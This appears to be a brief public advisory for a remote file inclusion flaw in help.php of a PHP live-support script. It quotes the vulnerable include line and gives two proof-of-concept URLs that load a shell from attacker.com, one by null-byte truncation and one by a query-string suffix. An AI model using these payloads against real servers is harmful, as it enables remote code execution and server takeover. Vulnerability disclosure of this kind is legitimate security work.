Vulnerable code:
==[ help.php 30 ]=============================
[...]
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ;
include_once( $css_path."css/default.php" ) ; ?>
[...]
==[ end help.php ]============================
How we can see there's an arbitrary file inclusion, so we can just include a
file from another server, executing the php code
in the victim's server.
Proof of Concept:
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00
We use a NULL byte at the final of the string because include_once() take a
null byte like the end of a string. In this way,
"css/default.php" doesn't appears at the end of the var.
If you don't wanna use a NULL byte you can do something like:
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=
In this way $foo has css/default.php in the attacker script.
Note: this vulnerability is present only if register_globals is turned on.
There are a lot of Local and Remote File Inclusion vulnerabilities in this
script... but there is no reason to publish it.
